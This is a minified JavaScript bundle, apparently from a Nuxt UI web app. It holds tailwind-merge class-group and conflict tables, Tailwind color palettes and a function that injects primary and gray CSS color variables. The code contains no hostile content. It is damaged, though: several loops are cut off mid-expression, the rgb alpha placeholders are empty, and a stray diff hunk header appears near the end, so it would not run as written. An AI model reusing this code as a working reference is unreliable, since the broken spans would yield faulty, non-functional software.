s=e.join(bi);return(i=t.validators.find(({validator:a})=>a(s)))==null?void 0:i.classGroupId}const Ka=/^\[(.+)\]$/;function u0(e){if(Ka.test(e)){const t=Ka.exec(e)[1],n=t==null?void 0:t.substring(0,t.indexOf(":"));if(n)return"arbitrary.."+n}}function f0(e){const{theme:t,prefix:n}=e,r={nextPart:new Map,validators:[]};return p0(Object.entries(e.classGroups),n).forEach(([s,i])=>{Rs(i,r,s,t)}),r}function Rs(e,t,n,r){e.forEach(o=>{if(typeof o=="string"){const s=o===""?t:za(t,o);s.classGroupId=n;return}if(typeof o=="function"){if(d0(o)){Rs(o(r),t,n,r);return}t.validators.push({validator:o,classGroupId:n});return}Object.entries(o).forEach(([s,i])=>{Rs(i,za(t,s),n,r)})})}function za(e,t){let n=e;return t.split(bi).forEach(r=>{n.nextPart.has(r)||n.nextPart.set(r,{nextPart:new Map,validators:[]}),n=n.nextPart.get(r)}),n}function d0(e){return e.isThemeGetter}function p0(e,t){return t?e.map(([n,r])=>{const o=r.map(s=>typeof s=="string"?t+s:typeof s=="object"?Object.fromEntries(Object.entries(s).map(([i,a])=>[t+i,a])):s);return[n,o]}):e}function h0(e){if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=new Map,r=new Map;function o(s,i){n.set(s,i),t++,t>e&&(t=0,r=n,n=new Map)}return{get(s){let i=n.get(s);if(i!==void 0)return i;if((i=r.get(s))!==void 0)return o(s,i),i},set(s,i){n.has(s)?n.set(s,i):o(s,i)}}}const hu="!";function g0(e){const t=e.separator,n=t.length===1,r=t[0],o=t.length;return function(i){const a=[];let l=0,u=0,c;for(let E=0;Eu?c-u:void 0;return{modifiers:a,hasImportantModifier:d,baseClassName:h,maybePostfixModifierPosition:b}}}function m0(e){if(e.length<=1)return e;const t=[];let n=[];return e.forEach(r=>{r[0]==="["?(t.push(...n.sort(),r),n=[]):n.push(r)}),t.push(...n.sort()),t}function y0(e){return{cache:h0(e.cacheSize),splitModifiers:g0(e),...c0(e)}}const b0=/\s+/;function v0(e,t){const{splitModifiers:n,getClassGroupId:r,getConflictingClassGroupIds:o}=t,s=new Set;return e.trim().split(b0).map(i=>{const{modifiers:a,hasImportantModifier:l,baseClassName:u,maybePostfixModifierPosition:c}=n(i);let f=r(c?u.substring(0,c):u),d=!!c;if(!f){if(!c)return{isTailwindClass:!1,originalClassName:i};if(f=r(u),!f)return{isTailwindClass:!1,originalClassName:i};d=!1}const h=m0(a).join(":");return{isTailwindClass:!0,modifierId:l?h+hu:h,classGroupId:f,originalClassName:i,hasPostfixModifier:d}}).reverse().filter(i=>{if(!i.isTailwindClass)return!0;const{modifierId:a,classGroupId:l,hasPostfixModifier:u}=i,c=a+l;return s.has(c)?!1:(s.add(c),o(l,u).forEach(f=>s.add(a+f)),!0)}).reverse().map(i=>i.originalClassName).join(" ")}function _0(){let e=0,t,n,r="";for(;ef(c),e());return n=y0(u),r=n.cache.get,o=n.cache.set,s=a,a(l)}function a(l){const u=r(l);if(u)return u;const c=v0(l,n);return o(l,c),c}return function(){return s(_0.apply(null,arguments))}}function pe(e){const t=n=>n[e]||[];return t.isThemeGetter=!0,t}const mu=/^\[(?:([a-z-]+):)?(.+)\]$/i,w0=/^\d+\/\d+$/,E0=new Set(["px","full","screen"]),C0=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,S0=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,x0=/^(rgba?|hsla?|hwb|(ok)?(lab|lch))\(.+\)$/,T0=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,R0=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/;function pt(e){return Jt(e)||E0.has(e)||w0.test(e)}function Tt(e){return Ln(e,"length",N0)}function Jt(e){return!!e&&!Number.isNaN(Number(e))}function Rr(e){return Ln(e,"number",Jt)}function Hn(e){return!!e&&Number.isInteger(Number(e))}function A0(e){return e.endsWith("%")&&Jt(e.slice(0,-1))}function te(e){return mu.test(e)}function Rt(e){return C0.test(e)}const P0=new Set(["length","size","percentage"]);function k0(e){return Ln(e,P0,yu)}function I0(e){return Ln(e,"position",yu)}const O0=new Set(["image","url"]);function L0(e){return Ln(e,O0,H0)}function M0(e){return Ln(e,"",$0)}function jn(){return!0}function Ln(e,t,n){const r=mu.exec(e);return r?r[1]?typeof t=="string"?r[1]===t:t.has(r[1]):n(r[2]):!1}function N0(e){return S0.test(e)&&!x0.test(e)}function yu(){return!1}function $0(e){return T0.test(e)}function H0(e){return R0.test(e)}function Ps(){const e=pe("colors"),t=pe("spacing"),n=pe("blur"),r=pe("brightness"),o=pe("borderColor"),s=pe("borderRadius"),i=pe("borderSpacing"),a=pe("borderWidth"),l=pe("contrast"),u=pe("grayscale"),c=pe("hueRotate"),f=pe("invert"),d=pe("gap"),h=pe("gradientColorStops"),b=pe("gradientColorStopPositions"),E=pe("inset"),A=pe("margin"),P=pe("opacity"),y=pe("padding"),m=pe("saturate"),v=pe("scale"),_=pe("sepia"),C=pe("skew"),M=pe("space"),S=pe("translate"),I=()=>["auto","contain","none"],L=()=>["auto","hidden","clip","visible","scroll"],V=()=>["auto",te,t],T=()=>[te,t],z=()=>["",pt,Tt],oe=()=>["auto",Jt,te],re=()=>["bottom","center","left","left-bottom","left-top","right","right-bottom","right-top","top"],H=()=>["solid","dashed","dotted","double","none"],X=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],q=()=>["start","end","center","between","around","evenly","stretch"],Re=()=>["","0",te],Ye=()=>["auto","avoid","all","avoid-page","page","left","right","column"],ke=()=>[Jt,Rr],Ce=()=>[Jt,te];return{cacheSize:500,separator:":",theme:{colors:[jn],spacing:[pt,Tt],blur:["none","",Rt,te],brightness:ke(),borderColor:[e],borderRadius:["none","","full",Rt,te],borderSpacing:T(),borderWidth:z(),contrast:ke(),grayscale:Re(),hueRotate:Ce(),invert:Re(),gap:T(),gradientColorStops:[e],gradientColorStopPositions:[A0,Tt],inset:V(),margin:V(),opacity:ke(),padding:T(),saturate:ke(),scale:ke(),sepia:Re(),skew:Ce(),space:T(),translate:T()},classGroups:{aspect:[{aspect:["auto","square","video",te]}],container:["container"],columns:[{columns:[Rt]}],"break-after":[{"break-after":Ye()}],"break-before":[{"break-before":Ye()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:[...re(),te]}],overflow:[{overflow:L()}],"overflow-x":[{"overflow-x":L()}],"overflow-y":[{"overflow-y":L()}],overscroll:[{overscroll:I()}],"overscroll-x":[{"overscroll-x":I()}],"overscroll-y":[{"overscroll-y":I()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:[E]}],"inset-x":[{"inset-x":[E]}],"inset-y":[{"inset-y":[E]}],start:[{start:[E]}],end:[{end:[E]}],top:[{top:[E]}],right:[{right:[E]}],bottom:[{bottom:[E]}],left:[{left:[E]}],visibility:["visible","invisible","collapse"],z:[{z:["auto",Hn,te]}],basis:[{basis:V()}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["wrap","wrap-reverse","nowrap"]}],flex:[{flex:["1","auto","initial","none",te]}],grow:[{grow:Re()}],shrink:[{shrink:Re()}],order:[{order:["first","last","none",Hn,te]}],"grid-cols":[{"grid-cols":[jn]}],"col-start-end":[{col:["auto",{span:["full",Hn,te]},te]}],"col-start":[{"col-start":oe()}],"col-end":[{"col-end":oe()}],"grid-rows":[{"grid-rows":[jn]}],"row-start-end":[{row:["auto",{span:[Hn,te]},te]}],"row-start":[{"row-start":oe()}],"row-end":[{"row-end":oe()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":["auto","min","max","fr",te]}],"auto-rows":[{"auto-rows":["auto","min","max","fr",te]}],gap:[{gap:[d]}],"gap-x":[{"gap-x":[d]}],"gap-y":[{"gap-y":[d]}],"justify-content":[{justify:["normal",...q()]}],"justify-items":[{"justify-items":["start","end","center","stretch"]}],"justify-self":[{"justify-self":["auto","start","end","center","stretch"]}],"align-content":[{content:["normal",...q(),"baseline"]}],"align-items":[{items:["start","end","center","baseline","stretch"]}],"align-self":[{self:["auto","start","end","center","stretch","baseline"]}],"place-content":[{"place-content":[...q(),"baseline"]}],"place-items":[{"place-items":["start","end","center","baseline","stretch"]}],"place-self":[{"place-self":["auto","start","end","center","stretch"]}],p:[{p:[y]}],px:[{px:[y]}],py:[{py:[y]}],ps:[{ps:[y]}],pe:[{pe:[y]}],pt:[{pt:[y]}],pr:[{pr:[y]}],pb:[{pb:[y]}],pl:[{pl:[y]}],m:[{m:[A]}],mx:[{mx:[A]}],my:[{my:[A]}],ms:[{ms:[A]}],me:[{me:[A]}],mt:[{mt:[A]}],mr:[{mr:[A]}],mb:[{mb:[A]}],ml:[{ml:[A]}],"space-x":[{"space-x":[M]}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":[M]}],"space-y-reverse":["space-y-reverse"],w:[{w:["auto","min","max","fit","svw","lvw","dvw",te,t]}],"min-w":[{"min-w":[te,t,"min","max","fit"]}],"max-w":[{"max-w":[te,t,"none","full","min","max","fit","prose",{screen:[Rt]},Rt]}],h:[{h:[te,t,"auto","min","max","fit","svh","lvh","dvh"]}],"min-h":[{"min-h":[te,t,"min","max","fit","svh","lvh","dvh"]}],"max-h":[{"max-h":[te,t,"min","max","fit","svh","lvh","dvh"]}],size:[{size:[te,t,"auto","min","max","fit"]}],"font-size":[{text:["base",Rt,Tt]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:["thin","extralight","light","normal","medium","semibold","bold","extrabold","black",Rr]}],"font-family":[{font:[jn]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractons"],tracking:[{tracking:["tighter","tight","normal","wide","wider","widest",te]}],"line-clamp":[{"line-clamp":["none",Jt,Rr]}],leading:[{leading:["none","tight","snug","normal","relaxed","loose",pt,te]}],"list-image":[{"list-image":["none",te]}],"list-style-type":[{list:["none","disc","decimal",te]}],"list-style-position":[{list:["inside","outside"]}],"placeholder-color":[{placeholder:[e]}],"placeholder-opacity":[{"placeholder-opacity":[P]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"text-color":[{text:[e]}],"text-opacity":[{"text-opacity":[P]}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...H(),"wavy"]}],"text-decoration-thickness":[{decoration:["auto","from-font",pt,Tt]}],"underline-offset":[{"underline-offset":["auto",pt,te]}],"text-decoration-color":[{decoration:[e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:T()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",te]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",te]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-opacity":[{"bg-opacity":[P]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:[...re(),I0]}],"bg-repeat":[{bg:["no-repeat",{repeat:["","x","y","round","space"]}]}],"bg-size":[{bg:["auto","cover","contain",k0]}],"bg-image":[{bg:["none",{"gradient-to":["t","tr","r","br","b","bl","l","tl"]},L0]}],"bg-color":[{bg:[e]}],"gradient-from-pos":[{from:[b]}],"gradient-via-pos":[{via:[b]}],"gradient-to-pos":[{to:[b]}],"gradient-from":[{from:[h]}],"gradient-via":[{via:[h]}],"gradient-to":[{to:[h]}],rounded:[{rounded:[s]}],"rounded-s":[{"rounded-s":[s]}],"rounded-e":[{"rounded-e":[s]}],"rounded-t":[{"rounded-t":[s]}],"rounded-r":[{"rounded-r":[s]}],"rounded-b":[{"rounded-b":[s]}],"rounded-l":[{"rounded-l":[s]}],"rounded-ss":[{"rounded-ss":[s]}],"rounded-se":[{"rounded-se":[s]}],"rounded-ee":[{"rounded-ee":[s]}],"rounded-es":[{"rounded-es":[s]}],"rounded-tl":[{"rounded-tl":[s]}],"rounded-tr":[{"rounded-tr":[s]}],"rounded-br":[{"rounded-br":[s]}],"rounded-bl":[{"rounded-bl":[s]}],"border-w":[{border:[a]}],"border-w-x":[{"border-x":[a]}],"border-w-y":[{"border-y":[a]}],"border-w-s":[{"border-s":[a]}],"border-w-e":[{"border-e":[a]}],"border-w-t":[{"border-t":[a]}],"border-w-r":[{"border-r":[a]}],"border-w-b":[{"border-b":[a]}],"border-w-l":[{"border-l":[a]}],"border-opacity":[{"border-opacity":[P]}],"border-style":[{border:[...H(),"hidden"]}],"divide-x":[{"divide-x":[a]}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":[a]}],"divide-y-reverse":["divide-y-reverse"],"divide-opacity":[{"divide-opacity":[P]}],"divide-style":[{divide:H()}],"border-color":[{border:[o]}],"border-color-x":[{"border-x":[o]}],"border-color-y":[{"border-y":[o]}],"border-color-t":[{"border-t":[o]}],"border-color-r":[{"border-r":[o]}],"border-color-b":[{"border-b":[o]}],"border-color-l":[{"border-l":[o]}],"divide-color":[{divide:[o]}],"outline-style":[{outline:["",...H()]}],"outline-offset":[{"outline-offset":[pt,te]}],"outline-w":[{outline:[pt,Tt]}],"outline-color":[{outline:[e]}],"ring-w":[{ring:z()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:[e]}],"ring-opacity":[{"ring-opacity":[P]}],"ring-offset-w":[{"ring-offset":[pt,Tt]}],"ring-offset-color":[{"ring-offset":[e]}],shadow:[{shadow:["","inner","none",Rt,M0]}],"shadow-color":[{shadow:[jn]}],opacity:[{opacity:[P]}],"mix-blend":[{"mix-blend":[...X(),"plus-lighter","plus-darker"]}],"bg-blend":[{"bg-blend":X()}],filter:[{filter:["","none"]}],blur:[{blur:[n]}],brightness:[{brightness:[r]}],contrast:[{contrast:[l]}],"drop-shadow":[{"drop-shadow":["","none",Rt,te]}],grayscale:[{grayscale:[u]}],"hue-rotate":[{"hue-rotate":[c]}],invert:[{invert:[f]}],saturate:[{saturate:[m]}],sepia:[{sepia:[_]}],"backdrop-filter":[{"backdrop-filter":["","none"]}],"backdrop-blur":[{"backdrop-blur":[n]}],"backdrop-brightness":[{"backdrop-brightness":[r]}],"backdrop-contrast":[{"backdrop-contrast":[l]}],"backdrop-grayscale":[{"backdrop-grayscale":[u]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[c]}],"backdrop-invert":[{"backdrop-invert":[f]}],"backdrop-opacity":[{"backdrop-opacity":[P]}],"backdrop-saturate":[{"backdrop-saturate":[m]}],"backdrop-sepia":[{"backdrop-sepia":[_]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":[i]}],"border-spacing-x":[{"border-spacing-x":[i]}],"border-spacing-y":[{"border-spacing-y":[i]}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["none","all","","colors","opacity","shadow","transform",te]}],duration:[{duration:Ce()}],ease:[{ease:["linear","in","out","in-out",te]}],delay:[{delay:Ce()}],animate:[{animate:["none","spin","ping","pulse","bounce",te]}],transform:[{transform:["","gpu","none"]}],scale:[{scale:[v]}],"scale-x":[{"scale-x":[v]}],"scale-y":[{"scale-y":[v]}],rotate:[{rotate:[Hn,te]}],"translate-x":[{"translate-x":[S]}],"translate-y":[{"translate-y":[S]}],"skew-x":[{"skew-x":[C]}],"skew-y":[{"skew-y":[C]}],"transform-origin":[{origin:["center","top","top-right","right","bottom-right","bottom","bottom-left","left","top-left",te]}],accent:[{accent:["auto",e]}],appearance:[{appearance:["none","auto"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",te]}],"caret-color":[{caret:[e]}],"pointer-events":[{"pointer-events":["none","auto"]}],resize:[{resize:["none","y","x",""]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":T()}],"scroll-mx":[{"scroll-mx":T()}],"scroll-my":[{"scroll-my":T()}],"scroll-ms":[{"scroll-ms":T()}],"scroll-me":[{"scroll-me":T()}],"scroll-mt":[{"scroll-mt":T()}],"scroll-mr":[{"scroll-mr":T()}],"scroll-mb":[{"scroll-mb":T()}],"scroll-ml":[{"scroll-ml":T()}],"scroll-p":[{"scroll-p":T()}],"scroll-px":[{"scroll-px":T()}],"scroll-py":[{"scroll-py":T()}],"scroll-ps":[{"scroll-ps":T()}],"scroll-pe":[{"scroll-pe":T()}],"scroll-pt":[{"scroll-pt":T()}],"scroll-pr":[{"scroll-pr":T()}],"scroll-pb":[{"scroll-pb":T()}],"scroll-pl":[{"scroll-pl":T()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",te]}],fill:[{fill:[e,"none"]}],"stroke-w":[{stroke:[pt,Tt,Rr]}],stroke:[{stroke:[e,"none"]}],sr:["sr-only","not-sr-only"],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]}}}function j0(e,{cacheSize:t,prefix:n,separator:r,extend:o={},override:s={}}){Mr(e,"cacheSize",t),Mr(e,"prefix",n),Mr(e,"separator",r);for(const i in s)F0(e[i],s[i]);for(const i in o)B0(e[i],o[i]);return e}function Mr(e,t,n){n!==void 0&&(e[t]=n)}function F0(e,t){if(t)for(const n in t)Mr(e,n,t[n])}function B0(e,t){if(t)for(const n in t){const r=t[n];r!==void 0&&(e[n]=(e[n]||[]).concat(r))}}function U0(e,...t){return typeof e=="function"?As(Ps,e,...t):As(()=>j0(Ps(),e),...t)}const Kb=As(Ps),D0=U0({extend:{classGroups:{icons:[e=>/^i-/.test(e)]}}}),q0=ui((e,t,n,r)=>{if(r==="default"||r.startsWith("default.")||r==="popper"||r.startsWith("popper.")||r.endsWith("avatar")&&t==="size"||r.endsWith("chip")&&t==="size"||r.endsWith("badge")&&t==="size"||t==="color"||t==="variant")return!1;if(typeof e[t]=="string"&&typeof n=="string"&&e[t]&&n)return e[t]=D0(e[t],n),!0});function zb(e,...t){return e==="override"?fi({},...t):q0({},...t)}function Ga(e){const t=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(t,function(r,o,s,i){return o+o+s+s+i+i});const n=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return n?`${parseInt(n[1],16)} ${parseInt(n[2],16)} ${parseInt(n[3],16)}`:null}function Gb(e){const t=parseFloat(e);return isNaN(t)?e:t}const V0="inherit",W0="currentColor",K0="transparent",z0="#000",G0="#fff",J0={50:"#f8fafc",100:"#f1f5f9",200:"#e2e8f0",300:"#cbd5e1",400:"#94a3b8",500:"#64748b",600:"#475569",700:"#334155",800:"#1e293b",900:"#0f172a",950:"#020617"},Q0={50:"rgb(var(--color-gray-50) / )",100:"rgb(var(--color-gray-100) / )",200:"rgb(var(--color-gray-200) / )",300:"rgb(var(--color-gray-300) / )",400:"rgb(var(--color-gray-400) / )",500:"rgb(var(--color-gray-500) / )",600:"rgb(var(--color-gray-600) / )",700:"rgb(var(--color-gray-700) / )",800:"rgb(var(--color-gray-800) / )",900:"rgb(var(--color-gray-900) / )",950:"rgb(var(--color-gray-950) / )"},X0={50:"#fafafa",100:"#f4f4f5",200:"#e4e4e7",300:"#d4d4d8",400:"#a1a1aa",500:"#71717a",600:"#52525b",700:"#3f3f46",800:"#27272a",900:"#18181b",950:"#09090b"},Y0={50:"#fafafa",100:"#f5f5f5",200:"#e5e5e5",300:"#d4d4d4",400:"#a3a3a3",500:"#737373",600:"#525252",700:"#404040",800:"#262626",900:"#171717",950:"#0a0a0a"},Z0={50:"#fafaf9",100:"#f5f5f4",200:"#e7e5e4",300:"#d6d3d1",400:"#a8a29e",500:"#78716c",600:"#57534e",700:"#44403c",800:"#292524",900:"#1c1917",950:"#0c0a09"},ey={50:"#fef2f2",100:"#fee2e2",200:"#fecaca",300:"#fca5a5",400:"#f87171",500:"#ef4444",600:"#dc2626",700:"#b91c1c",800:"#991b1b",900:"#7f1d1d",950:"#450a0a"},ty={50:"#fff7ed",100:"#ffedd5",200:"#fed7aa",300:"#fdba74",400:"#fb923c",500:"#f97316",600:"#ea580c",700:"#c2410c",800:"#9a3412",900:"#7c2d12",950:"#431407"},ny={50:"#fffbeb",100:"#fef3c7",200:"#fde68a",300:"#fcd34d",400:"#fbbf24",500:"#f59e0b",600:"#d97706",700:"#b45309",800:"#92400e",900:"#78350f",950:"#451a03"},ry={50:"#fefce8",100:"#fef9c3",200:"#fef08a",300:"#fde047",400:"#facc15",500:"#eab308",600:"#ca8a04",700:"#a16207",800:"#854d0e",900:"#713f12",950:"#422006"},oy={50:"#f7fee7",100:"#ecfccb",200:"#d9f99d",300:"#bef264",400:"#a3e635",500:"#84cc16",600:"#65a30d",700:"#4d7c0f",800:"#3f6212",900:"#365314",950:"#1a2e05"},sy={50:"#f0fdf4",100:"#dcfce7",200:"#bbf7d0",300:"#86efac",400:"#4ade80",500:"#22c55e",600:"#16a34a",700:"#15803d",800:"#166534",900:"#14532d",950:"#052e16"},iy={50:"#ecfdf5",100:"#d1fae5",200:"#a7f3d0",300:"#6ee7b7",400:"#34d399",500:"#10b981",600:"#059669",700:"#047857",800:"#065f46",900:"#064e3b",950:"#022c22"},ay={50:"#f0fdfa",100:"#ccfbf1",200:"#99f6e4",300:"#5eead4",400:"#2dd4bf",500:"#14b8a6",600:"#0d9488",700:"#0f766e",800:"#115e59",900:"#134e4a",950:"#042f2e"},ly={50:"#ecfeff",100:"#cffafe",200:"#a5f3fc",300:"#67e8f9",400:"#22d3ee",500:"#06b6d4",600:"#0891b2",700:"#0e7490",800:"#155e75",900:"#164e63",950:"#083344"},cy={50:"#f0f9ff",100:"#e0f2fe",200:"#bae6fd",300:"#7dd3fc",400:"#38bdf8",500:"#0ea5e9",600:"#0284c7",700:"#0369a1",800:"#075985",900:"#0c4a6e",950:"#082f49"},uy={50:"#eff6ff",100:"#dbeafe",200:"#bfdbfe",300:"#93c5fd",400:"#60a5fa",500:"#3b82f6",600:"#2563eb",700:"#1d4ed8",800:"#1e40af",900:"#1e3a8a",950:"#172554"},fy={50:"#eef2ff",100:"#e0e7ff",200:"#c7d2fe",300:"#a5b4fc",400:"#818cf8",500:"#6366f1",600:"#4f46e5",700:"#4338ca",800:"#3730a3",900:"#312e81",950:"#1e1b4b"},dy={50:"#f5f3ff",100:"#ede9fe",200:"#ddd6fe",300:"#c4b5fd",400:"#a78bfa",500:"#8b5cf6",600:"#7c3aed",700:"#6d28d9",800:"#5b21b6",900:"#4c1d95",950:"#2e1065"},py={50:"#faf5ff",100:"#f3e8ff",200:"#e9d5ff",300:"#d8b4fe",400:"#c084fc",500:"#a855f7",600:"#9333ea",700:"#7e22ce",800:"#6b21a8",900:"#581c87",950:"#3b0764"},hy={50:"#fdf4ff",100:"#fae8ff",200:"#f5d0fe",300:"#f0abfc",400:"#e879f9",500:"#d946ef",600:"#c026d3",700:"#a21caf",800:"#86198f",900:"#701a75",950:"#4a044e"},gy={50:"#fdf2f8",100:"#fce7f3",200:"#fbcfe8",300:"#f9a8d4",400:"#f472b6",500:"#ec4899",600:"#db2777",700:"#be185d",800:"#9d174d",900:"#831843",950:"#500724"},my={50:"#fff1f2",100:"#ffe4e6",200:"#fecdd3",300:"#fda4af",400:"#fb7185",500:"#f43f5e",600:"#e11d48",700:"#be123c",800:"#9f1239",900:"#881337",950:"#4c0519"},yy={50:"#5E7491",100:"#566A85",200:"#46566C",300:"#364254",400:"#262F3B",500:"#161B22",600:"#000000",700:"#000000",800:"#000000",900:"#000000",950:"#000000",DEFAULT:"#161B22"},by="#dc2626",vy={50:"rgb(var(--color-primary-50) / )",100:"rgb(var(--color-primary-100) / )",200:"rgb(var(--color-primary-200) / )",300:"rgb(var(--color-primary-300) / )",400:"rgb(var(--color-primary-400) / )",500:"rgb(var(--color-primary-500) / )",600:"rgb(var(--color-primary-600) / )",700:"rgb(var(--color-primary-700) / )",800:"rgb(var(--color-primary-800) / )",900:"rgb(var(--color-primary-900) / )",950:"rgb(var(--color-primary-950) / )",DEFAULT:"rgb(var(--color-primary-DEFAULT) / )"},_y={50:"#f9fafb",100:"#f3f4f6",200:"#e5e7eb",300:"#d1d5db",400:"#9ca3af",500:"#6b7280",600:"#4b5563",700:"#374151",800:"#1f2937",900:"#111827",950:"#030712"},Ar={inherit:V0,current:W0,transparent:K0,black:z0,white:G0,slate:J0,gray:Q0,zinc:X0,neutral:Y0,stone:Z0,red:ey,orange:ty,amber:ny,yellow:ry,lime:oy,green:sy,emerald:iy,teal:ay,cyan:ly,sky:cy,blue:uy,indigo:fy,violet:dy,purple:py,fuchsia:hy,pink:gy,rose:my,secondary:yy,error:by,primary:vy,cool:_y,"primary-dark":{50:"#4F688C",100:"#485E7F",200:"#394B65",300:"#2A384B",400:"#1C2431",500:"#0D1117",600:"#000000",700:"#000000",800:"#000000",900:"#000000",950:"#000000",DEFAULT:"#0D1117"},"primary-ui":{400:"#ffffff",DEFAULT:"#0D1117"},"jwt-header":"#ef4444","jwt-payload":"#d946ef","jwt-sign":"#38bdf8"},wy=Ue(()=>{const e=pi(),t=ve(),n=ce(()=>{const o=Ar[e.ui.primary],s=Ar[e.ui.gray];return o||console.warn(`[@nuxt/ui] Primary color '${e.ui.primary}' not found in Tailwind config`),s||console.warn(`[@nuxt/ui] Gray color '${e.ui.gray}' not found in Tailwind config`),`:root { ${Object.entries(o||Ar.green).map(([i,a])=>`--color-primary-${i}: ${Ga(a)};`).join(` `)} --color-primary-DEFAULT: var(--color-primary-500); @@ -37,4 +37,4 @@ ${Object.entries(s||Ar.cool).map(([i,a])=>`--color-gray-${i}: ${Ga(a)};`).join(` } 